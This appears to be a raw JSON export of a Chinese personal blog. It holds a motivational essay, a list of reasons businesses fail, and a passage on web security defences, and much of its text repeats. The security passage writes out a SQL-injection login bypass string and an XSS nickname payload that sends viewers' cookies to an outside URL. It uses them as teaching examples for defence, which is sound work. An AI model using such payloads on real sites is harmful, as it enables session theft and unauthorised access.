"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"世间真是无奇不有….
\n
\n\n"},{"title":"你的一生,究竟为什么而活","date":"2018-02-11T10:41:05.000Z","_content":"# 启示录\n\n此时,我看了一个小动画,一只老鼠,从追赶火车,到追寻幸福的过程,途中经历了很多东西:生意\b、豪车、酗酒、嗑药、陷入迷幻,为了金钱而工作最终成为大多数人中的一员。平庸一生\n\n## 幸福是什么\n\n幸福对我来说,就是能\b做自己喜欢的事,追求自己的梦想,而我的理想,就是能够\b\b为这个社会留下点什么,带上我的音乐梦,为他人带去欢乐,一个人的一生不应该平庸,我们来到这个世界,一定是为了让我们能够实现自己的价值,每个人都不一样,每个人都存在过,\b人活着的意义是什么,不就是为了追寻自己的理想吗?\n世间真是无奇不有….
\n
此时,我看了一个小动画,一只老鼠,从追赶火车,到追寻幸福的过程,途中经历了很多东西:生意\b、豪车、酗酒、嗑药、陷入迷幻,为了金钱而工作最终成为大多数人中的一员。平庸一生
\n幸福对我来说,就是能\b做自己喜欢的事,追求自己的梦想,而我的理想,就是能够\b\b为这个社会留下点什么,带上我的音乐梦,为他人带去欢乐,一个人的一生不应该平庸,我们来到这个世界,一定是为了让我们能够实现自己的价值,每个人都不一样,每个人都存在过,\b人活着的意义是什么,不就是为了追寻自己的理想吗?
我们现在大多数人,处于不知道自己想要什么,而且不知道对自己来说什么才是真正的幸福。想不平庸,却不\b愿意全力以赴。最后就\b像片中的老鼠一样。最后还是回到了起点。
\n\n不甘平庸才是我们每个人应该的追求;
\n
有梦想有目标的生活,才是最幸福的,未来虽然不可预测,但是我们能为我们即将到来的未来做做好准备,不要太享受生活,即使\b目前的生活很安逸,也要追求更安逸的生活,人都是向上看的,只有你敢想敢做,没有什么事情是做不了的,如果做不到,就是你没有尽全力!
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"此时,我看了一个小动画,一只老鼠,从追赶火车,到追寻幸福的过程,途中经历了很多东西:生意\b、豪车、酗酒、嗑药、陷入迷幻,为了金钱而工作最终成为大多数人中的一员。平庸一生
\n幸福对我来说,就是能\b做自己喜欢的事,追求自己的梦想,而我的理想,就是能够\b\b为这个社会留下点什么,带上我的音乐梦,为他人带去欢乐,一个人的一生不应该平庸,我们来到这个世界,一定是为了让我们能够实现自己的价值,每个人都不一样,每个人都存在过,\b人活着的意义是什么,不就是为了追寻自己的理想吗?
我们现在大多数人,处于不知道自己想要什么,而且不知道对自己来说什么才是真正的幸福。想不平庸,却不\b愿意全力以赴。最后就\b像片中的老鼠一样。最后还是回到了起点。
\n\n不甘平庸才是我们每个人应该的追求;
\n
有梦想有目标的生活,才是最幸福的,未来虽然不可预测,但是我们能为我们即将到来的未来做做好准备,不要太享受生活,即使\b目前的生活很安逸,也要追求更安逸的生活,人都是向上看的,只有你敢想敢做,没有什么事情是做不了的,如果做不到,就是你没有尽全力!
\n"},{"title":"七种公司永远做不大, 十种老板永远不成功!","date":"2017-08-22T07:49:09.000Z","_content":"\n### 这七种公司永远做不大\n\n#### 1. 格局小的企业\n* 1999年2月,牛根生对孙先红说:我给你100万的宣传费,对谁也不要说。先红问:为什么不能说?牛说:现在总共筹到300万,拿出100万做广告,我怕大家知道后接受不了。我就要一个效果:一夜之间,让呼市人都知道。于是1999年4月1日早上,一觉醒来,人们突然发现道路两旁冒出了一溜溜的红色路牌广告,上面高书金色大字:蒙牛乳业,创内蒙古乳业第二品牌!\n* 但在现实中,许多老板肩上扛着品牌大旗心里打着小算盘,乐于小打小闹,希望以小的投入来获得大的回报,从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板,想的永远是自己,希望从一颗鸡蛋中吃出黄金;而格局大的老板,则能着眼于未来,在大环境中定义自己的事业。\n\n#### 2. 心态小的企业\n> 俗话说:善奕者谋势,不善奕者谋子\n* 许多企业之所以做不大,就在于只谋子不谋势。谋势就是定战略,有了战略,路再长,总有一天会走到;没有战略,走得越猛,死得越早。置战略需求于不顾,希望用1分钱换来100元的效果的主,很难走出穷的境界,因为占便宜本身就代表没有境界。死抠一城一池,是活三年的企业,因为它不抬头看天。东一榔头西一棒子的,是活三月的企业,因为它不低头看地。不看天,山雨欲来浑然不觉,要被洪水淹死;不看地,夜半悬崖大步流星,要被群山淹没。\n\n#### 3. 短视的企业\n* 立竿见影、刀下见菜,是大多数老板的想法,当然这也没有错,因为解决目前的生存问题是第一位的。但是,生存问题属于战术问题,而发展问题属于战略问题,解决生存问题必须刀下见菜,但要搞定发展问题则需要细水长流最后水到渠成。现实中,很多老板都有短视心态,以为整一个亮点马上就能换回巨大的效益,于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。\n* 其实这种想法并不正确,因为品牌对于企业而言是一个长期工程和系统工程,既要有独特的个性,又需要系统的提炼及提升;对于客户而言,品牌又是一种认知识别和体验识别,他们需要你能记住你的特别理由,因此也就需要你在诉求点上要坚持深入。\n\n#### 4. 缺外脑的企业\n* 曾有人说过这样一句话:在中国,资源第一位,机遇第二位,能力第三位,学历第四位,不少老板比别人做得成功,就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大,原因就在于他缺少足够的社会资源,单打独斗当然也就孤掌难鸣。\n* 说到社会资源,很多人都会想到领导支持这个词语,其实这并不全面,向领导、职能部门传递企业的正面信息,获得政策范围内的支持,这只属于整合营销传播的一个方面。除了官方资源以外,能帮你快速解决一定融资困难的亲友资源,能为你迅速带来人才的人力推介资源,能为你出谋划策充当参谋的智力资源、信息资源等等,这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看,那些做得成功的大企业,又有多少企业没有外脑、没有顾问呢?\n\n#### 5. 缺内脑的企业\n* 一个好汉三个帮,如果没有一批能征善战的下属为你冲锋陷阵,老板再厉害,也难以成事。许多企业就面临这样的问题:优秀的人招不来,有出息的人留不住,剩下的看谁谁不顺眼,为什么会这样呢?员工愿不愿加盟公司、能加盟多久,与薪酬福利、团队氛围、学习提升、办事机制,成就感,归属感、生活现状等各种因素紧密相连。目前,大多数的企业,薪酬福利都差不多,关键问题是:老板只看重行政管理与业绩,只关注你今天卖了多少、有没有迟到早退,至于思想管理、技能管理、状态管理与团队氛围管理,老板根本就没有这个意识,最后员工技能得不到提升,思想得不到引导,越干越没劲,只好走人了事。管理的表面化,最终导致员工素质同质化,做不大也就在情理之中了。\n\n#### 6. 用金扁担挑粪的企业\n* 从前有个小伙子,祖辈都是菜农。小伙子每天挑粪去菜地浇菜,从小习惯了这年复一年的活。一天,他去菜地的路上在一棵大树下歇脚,坐在挑粪扁担上,远眺村里大财主的那幢豪华楼房,心里突然有个梦想﹕有一天我要是像他那么有钱,我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子,但是挑粪的思维还是没有改变,因为他已经习惯了那种操作手法。所以,很多企业看到别人有了驰名商标就马上去申请一个驰名商标,看到别人开了一个自助火锅生意不错,于是就立马也开一个。有了这些金蛋蛋以后,马上把它做成一根金扁担挑着以前的大便继续前进。\n\n#### 7. 需要预约的企业\n* 中国的小老板令人感动和尊敬,在我看来,哪怕是开小饭馆的小老板,也功德无量,令人尊敬,因为他们为社会提供了更多的就业岗位,贡献了更多的税收,开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家,其赤手空拳打天下的勇气让人佩服。\n* 他们在资金与技术贫瘠的土壤中扎根,在不利政策环境中破土,在外资、合资品牌丛林中成长,生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想,为了实现百年老店的梦想,很多人起得比鸡还要早,睡得比狗还要晚。企业最大的瓶颈是资金!然而,在你没有实力之前要想获得金融支持,干过企业的人都深有体会,最缺德的机构莫过于银行,他们向来都是雨天收伞!在尊敬与感动之余,又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病:事业不大架子大、老板不大脾气大,自以为是,傲气十足,结果很多的机会就在这种需要预约的情况下丧失了。\n\n### 十种做不大的老板\n> 据一些管理学家的最新研究,发现有十种老板,由于各方面的制约,是很难将生意做大的。\n\n#### 没有大梦想的老板\n* 不想做出大成就的老板,安于现状,对竞争没有充分的认识,对机会不敏感。商界往往是大野心的老板做成了大公司,安于现状的老板最后不得不因业绩不良而关门或换行。\n\n#### 没有创业规划的老板\n* 这种老板不善于对自己的事业做中长期规划,往往在经营中浪费很多的资源,或者让人才流失,或者让资源闲置,所以他们的经营成本很高。\n\n#### 不重视人才的老板\n* 对任何公司而言,人才比资金比资产都重要,有了人才才可以做想做的事,没有人才一切免谈。老板最能干的公司往往都做不大,老板不太能干的公司,往往能做得很大。刘邦和项羽就是最好的例子,刘邦不能干,所以他重用萧、韩、张三杰,项羽很能干,所以手下能人都留不住,都跑到刘邦那去了。\n\n#### 完全自己摸索,从不向明师请教的老板\n* 完全自己摸索的老板,在经营中就会要用很多的失败做代价,走了很多的弯路。从而造成要么信心不足,要么资源被浪费后没有创业资金,要么就是视野很小,看不到机会和危机。善于向明师请教的人,总可以少走一些弯路。因为他站在别人的肩膀上,所以能看得更远!\n\n#### 观念保守思维不开放的老板\n* 看看中国发展的轨迹,越是开放的地方,越是发展得快,越是观念落后的地方,越是贫穷。思维不开放的老板,总是自己拒绝了很多的发展机会!\n\n#### 恃己之能从不学习的老板\n* 经常参加各种培训的老板,都是一些取得成就的老板;从不参加培训的老板,肯定公司业绩不良。为什么?不学习观念就要落后,思维就要保守。\n\n#### 畏首畏尾顾虑太多的老板\n* 风险与机会是均等的,从不敢冒险的老板,肯定是要失去很多机会的。世界上的两大公司,都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”,他们想的是“万一成功了”;有些老板总是这样想“万一我做了万一我投资了失败了怎么办”,他们想的是“万一失败了”,所以不做就没有失败,但更没有机会成功!\n\n#### 心思太细专做小事的老板\n* 把时间都花在小事上的老板,根本就没有时间来考虑公司发展的大事。有些老板,充其量只是自己的业务员,因为他的主要精力都用在跑业务上;有些老板是救火队员,哪里有问题就上哪里,却从不考虑如何才能不出问题。这些老板都很累,业绩却不良;反过来看,那些只专注于公司发展大事的老板,把小事放心地交给员工做,员工既有了用武之地,就会长期留下来,老板自己反而很轻松。\n\n#### 埋头经营从不做宣传的老板\n* 营销就是做广告,越是多做广告越是会做宣传的老板,公司就会发展得快,业务就会做得多,连少林寺都要用宣传来推广自己,否则它哪有那么多的香客和门徒?埋头经营的老板还在满足自己的客户量还可以的时候,却不知已经有人做宣传占领了更大的市场份额!\n\n#### 贪图小利不讲诚信的老板\n* 讲诚信是需要付出代价的,往往代价很高;但往往也因此带来了自己长期发展的各种机会;不讲诚信,看似代价很低,暂时占了很多便宜,却不知付出的代价更高,丧失了更多的发展机会。做了很多年还没有发展起来的老板,肯定遵守诚信不够!\n\n### 总结\n* 从上来看,我需要提升的地方还有很多很多,从心态到气场,从执行的态度,到为人处世的方法,学无止境,提高自己的格局,改变自己的视野,不要被眼前的枷锁所束缚,世界很大,我还有很多地方没有去走,牛人很多,我还有很多品质需要研究\n\n* 改变自己,不甘平庸,相信明天!!!","source":"_posts/七种公司永远做不大-十种老板永远不成功.md","raw":"---\ntitle: '七种公司永远做不大, 十种老板永远不成功!'\ndate: 2017-08-22 15:49:09\ntags: [哲理]\ncategories: 生活\n---\n\n### 这七种公司永远做不大\n\n#### 1. 格局小的企业\n* 1999年2月,牛根生对孙先红说:我给你100万的宣传费,对谁也不要说。先红问:为什么不能说?牛说:现在总共筹到300万,拿出100万做广告,我怕大家知道后接受不了。我就要一个效果:一夜之间,让呼市人都知道。于是1999年4月1日早上,一觉醒来,人们突然发现道路两旁冒出了一溜溜的红色路牌广告,上面高书金色大字:蒙牛乳业,创内蒙古乳业第二品牌!\n* 但在现实中,许多老板肩上扛着品牌大旗心里打着小算盘,乐于小打小闹,希望以小的投入来获得大的回报,从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板,想的永远是自己,希望从一颗鸡蛋中吃出黄金;而格局大的老板,则能着眼于未来,在大环境中定义自己的事业。\n\n#### 2. 心态小的企业\n> 俗话说:善奕者谋势,不善奕者谋子\n* 许多企业之所以做不大,就在于只谋子不谋势。谋势就是定战略,有了战略,路再长,总有一天会走到;没有战略,走得越猛,死得越早。置战略需求于不顾,希望用1分钱换来100元的效果的主,很难走出穷的境界,因为占便宜本身就代表没有境界。死抠一城一池,是活三年的企业,因为它不抬头看天。东一榔头西一棒子的,是活三月的企业,因为它不低头看地。不看天,山雨欲来浑然不觉,要被洪水淹死;不看地,夜半悬崖大步流星,要被群山淹没。\n\n#### 3. 短视的企业\n* 立竿见影、刀下见菜,是大多数老板的想法,当然这也没有错,因为解决目前的生存问题是第一位的。但是,生存问题属于战术问题,而发展问题属于战略问题,解决生存问题必须刀下见菜,但要搞定发展问题则需要细水长流最后水到渠成。现实中,很多老板都有短视心态,以为整一个亮点马上就能换回巨大的效益,于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。\n* 其实这种想法并不正确,因为品牌对于企业而言是一个长期工程和系统工程,既要有独特的个性,又需要系统的提炼及提升;对于客户而言,品牌又是一种认知识别和体验识别,他们需要你能记住你的特别理由,因此也就需要你在诉求点上要坚持深入。\n\n#### 4. 缺外脑的企业\n* 曾有人说过这样一句话:在中国,资源第一位,机遇第二位,能力第三位,学历第四位,不少老板比别人做得成功,就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大,原因就在于他缺少足够的社会资源,单打独斗当然也就孤掌难鸣。\n* 说到社会资源,很多人都会想到领导支持这个词语,其实这并不全面,向领导、职能部门传递企业的正面信息,获得政策范围内的支持,这只属于整合营销传播的一个方面。除了官方资源以外,能帮你快速解决一定融资困难的亲友资源,能为你迅速带来人才的人力推介资源,能为你出谋划策充当参谋的智力资源、信息资源等等,这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看,那些做得成功的大企业,又有多少企业没有外脑、没有顾问呢?\n\n#### 5. 缺内脑的企业\n* 一个好汉三个帮,如果没有一批能征善战的下属为你冲锋陷阵,老板再厉害,也难以成事。许多企业就面临这样的问题:优秀的人招不来,有出息的人留不住,剩下的看谁谁不顺眼,为什么会这样呢?员工愿不愿加盟公司、能加盟多久,与薪酬福利、团队氛围、学习提升、办事机制,成就感,归属感、生活现状等各种因素紧密相连。目前,大多数的企业,薪酬福利都差不多,关键问题是:老板只看重行政管理与业绩,只关注你今天卖了多少、有没有迟到早退,至于思想管理、技能管理、状态管理与团队氛围管理,老板根本就没有这个意识,最后员工技能得不到提升,思想得不到引导,越干越没劲,只好走人了事。管理的表面化,最终导致员工素质同质化,做不大也就在情理之中了。\n\n#### 6. 用金扁担挑粪的企业\n* 从前有个小伙子,祖辈都是菜农。小伙子每天挑粪去菜地浇菜,从小习惯了这年复一年的活。一天,他去菜地的路上在一棵大树下歇脚,坐在挑粪扁担上,远眺村里大财主的那幢豪华楼房,心里突然有个梦想﹕有一天我要是像他那么有钱,我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子,但是挑粪的思维还是没有改变,因为他已经习惯了那种操作手法。所以,很多企业看到别人有了驰名商标就马上去申请一个驰名商标,看到别人开了一个自助火锅生意不错,于是就立马也开一个。有了这些金蛋蛋以后,马上把它做成一根金扁担挑着以前的大便继续前进。\n\n#### 7. 需要预约的企业\n* 中国的小老板令人感动和尊敬,在我看来,哪怕是开小饭馆的小老板,也功德无量,令人尊敬,因为他们为社会提供了更多的就业岗位,贡献了更多的税收,开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家,其赤手空拳打天下的勇气让人佩服。\n* 他们在资金与技术贫瘠的土壤中扎根,在不利政策环境中破土,在外资、合资品牌丛林中成长,生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想,为了实现百年老店的梦想,很多人起得比鸡还要早,睡得比狗还要晚。企业最大的瓶颈是资金!然而,在你没有实力之前要想获得金融支持,干过企业的人都深有体会,最缺德的机构莫过于银行,他们向来都是雨天收伞!在尊敬与感动之余,又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病:事业不大架子大、老板不大脾气大,自以为是,傲气十足,结果很多的机会就在这种需要预约的情况下丧失了。\n\n### 十种做不大的老板\n> 据一些管理学家的最新研究,发现有十种老板,由于各方面的制约,是很难将生意做大的。\n\n#### 没有大梦想的老板\n* 不想做出大成就的老板,安于现状,对竞争没有充分的认识,对机会不敏感。商界往往是大野心的老板做成了大公司,安于现状的老板最后不得不因业绩不良而关门或换行。\n\n#### 没有创业规划的老板\n* 这种老板不善于对自己的事业做中长期规划,往往在经营中浪费很多的资源,或者让人才流失,或者让资源闲置,所以他们的经营成本很高。\n\n#### 不重视人才的老板\n* 对任何公司而言,人才比资金比资产都重要,有了人才才可以做想做的事,没有人才一切免谈。老板最能干的公司往往都做不大,老板不太能干的公司,往往能做得很大。刘邦和项羽就是最好的例子,刘邦不能干,所以他重用萧、韩、张三杰,项羽很能干,所以手下能人都留不住,都跑到刘邦那去了。\n\n#### 完全自己摸索,从不向明师请教的老板\n* 完全自己摸索的老板,在经营中就会要用很多的失败做代价,走了很多的弯路。从而造成要么信心不足,要么资源被浪费后没有创业资金,要么就是视野很小,看不到机会和危机。善于向明师请教的人,总可以少走一些弯路。因为他站在别人的肩膀上,所以能看得更远!\n\n#### 观念保守思维不开放的老板\n* 看看中国发展的轨迹,越是开放的地方,越是发展得快,越是观念落后的地方,越是贫穷。思维不开放的老板,总是自己拒绝了很多的发展机会!\n\n#### 恃己之能从不学习的老板\n* 经常参加各种培训的老板,都是一些取得成就的老板;从不参加培训的老板,肯定公司业绩不良。为什么?不学习观念就要落后,思维就要保守。\n\n#### 畏首畏尾顾虑太多的老板\n* 风险与机会是均等的,从不敢冒险的老板,肯定是要失去很多机会的。世界上的两大公司,都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”,他们想的是“万一成功了”;有些老板总是这样想“万一我做了万一我投资了失败了怎么办”,他们想的是“万一失败了”,所以不做就没有失败,但更没有机会成功!\n\n#### 心思太细专做小事的老板\n* 把时间都花在小事上的老板,根本就没有时间来考虑公司发展的大事。有些老板,充其量只是自己的业务员,因为他的主要精力都用在跑业务上;有些老板是救火队员,哪里有问题就上哪里,却从不考虑如何才能不出问题。这些老板都很累,业绩却不良;反过来看,那些只专注于公司发展大事的老板,把小事放心地交给员工做,员工既有了用武之地,就会长期留下来,老板自己反而很轻松。\n\n#### 埋头经营从不做宣传的老板\n* 营销就是做广告,越是多做广告越是会做宣传的老板,公司就会发展得快,业务就会做得多,连少林寺都要用宣传来推广自己,否则它哪有那么多的香客和门徒?埋头经营的老板还在满足自己的客户量还可以的时候,却不知已经有人做宣传占领了更大的市场份额!\n\n#### 贪图小利不讲诚信的老板\n* 讲诚信是需要付出代价的,往往代价很高;但往往也因此带来了自己长期发展的各种机会;不讲诚信,看似代价很低,暂时占了很多便宜,却不知付出的代价更高,丧失了更多的发展机会。做了很多年还没有发展起来的老板,肯定遵守诚信不够!\n\n### 总结\n* 从上来看,我需要提升的地方还有很多很多,从心态到气场,从执行的态度,到为人处世的方法,学无止境,提高自己的格局,改变自己的视野,不要被眼前的枷锁所束缚,世界很大,我还有很多地方没有去走,牛人很多,我还有很多品质需要研究\n\n* 改变自己,不甘平庸,相信明天!!!","slug":"七种公司永远做不大-十种老板永远不成功","published":1,"updated":"2018-01-22T06:32:21.866Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y66002vvzqhk94r54t2","content":"\n\n俗话说:善奕者谋势,不善奕者谋子
\n\n
\n- 许多企业之所以做不大,就在于只谋子不谋势。谋势就是定战略,有了战略,路再长,总有一天会走到;没有战略,走得越猛,死得越早。置战略需求于不顾,希望用1分钱换来100元的效果的主,很难走出穷的境界,因为占便宜本身就代表没有境界。死抠一城一池,是活三年的企业,因为它不抬头看天。东一榔头西一棒子的,是活三月的企业,因为它不低头看地。不看天,山雨欲来浑然不觉,要被洪水淹死;不看地,夜半悬崖大步流星,要被群山淹没。
\n
\n\n据一些管理学家的最新研究,发现有十种老板,由于各方面的制约,是很难将生意做大的。
\n
从上来看,我需要提升的地方还有很多很多,从心态到气场,从执行的态度,到为人处世的方法,学无止境,提高自己的格局,改变自己的视野,不要被眼前的枷锁所束缚,世界很大,我还有很多地方没有去走,牛人很多,我还有很多品质需要研究
\n改变自己,不甘平庸,相信明天!!!
\n\n\n俗话说:善奕者谋势,不善奕者谋子
\n\n
\n- 许多企业之所以做不大,就在于只谋子不谋势。谋势就是定战略,有了战略,路再长,总有一天会走到;没有战略,走得越猛,死得越早。置战略需求于不顾,希望用1分钱换来100元的效果的主,很难走出穷的境界,因为占便宜本身就代表没有境界。死抠一城一池,是活三年的企业,因为它不抬头看天。东一榔头西一棒子的,是活三月的企业,因为它不低头看地。不看天,山雨欲来浑然不觉,要被洪水淹死;不看地,夜半悬崖大步流星,要被群山淹没。
\n
\n\n据一些管理学家的最新研究,发现有十种老板,由于各方面的制约,是很难将生意做大的。
\n
从上来看,我需要提升的地方还有很多很多,从心态到气场,从执行的态度,到为人处世的方法,学无止境,提高自己的格局,改变自己的视野,不要被眼前的枷锁所束缚,世界很大,我还有很多地方没有去走,牛人很多,我还有很多品质需要研究
\n改变自己,不甘平庸,相信明天!!!
\n浏览器自带转换为字符串\nvar newValue = safetools.encode(value)\n\n正则加密(可能有兼容)\nvar newValue = safetools.reEncode(value)\n\n正则解密(可能有兼容)\nvar newValue = safetools.reDecode(value)\n
\n\ntag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
\n
\n\n用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
\n
语句
\nstrSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"\n
如果恶意填入:
\n\n\nuserName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;
\n
既可实现无密码登录,美滋滋吧…
\n\b前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
\n\n\n跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
\n
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
编码
\n\n\n将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
\n
过滤
\n\n\n有的语句并不完全依赖<>标签,例如src=”javascript:alert(1);”
\n
校正
\n\n\n这个照理来说应该后端处理\b,目前没碰到这种场景
\n一个直播平台,\b用户可以进入观看,主播可以设置自己的昵称:\nvar starNickName = '${starNickname}'\n
这怕是要翻水水了…假设是我是主播,我把昵称设置为:
\n';window.location.href="\bhttp//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''\n
这一串如果传到后端,而后端又没有校正的话的话,这怕是\b傻眼了…观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。\b
\n
`
`
meta:不信任任何URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
\n\n注意:该属性目前比较新,hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
\n
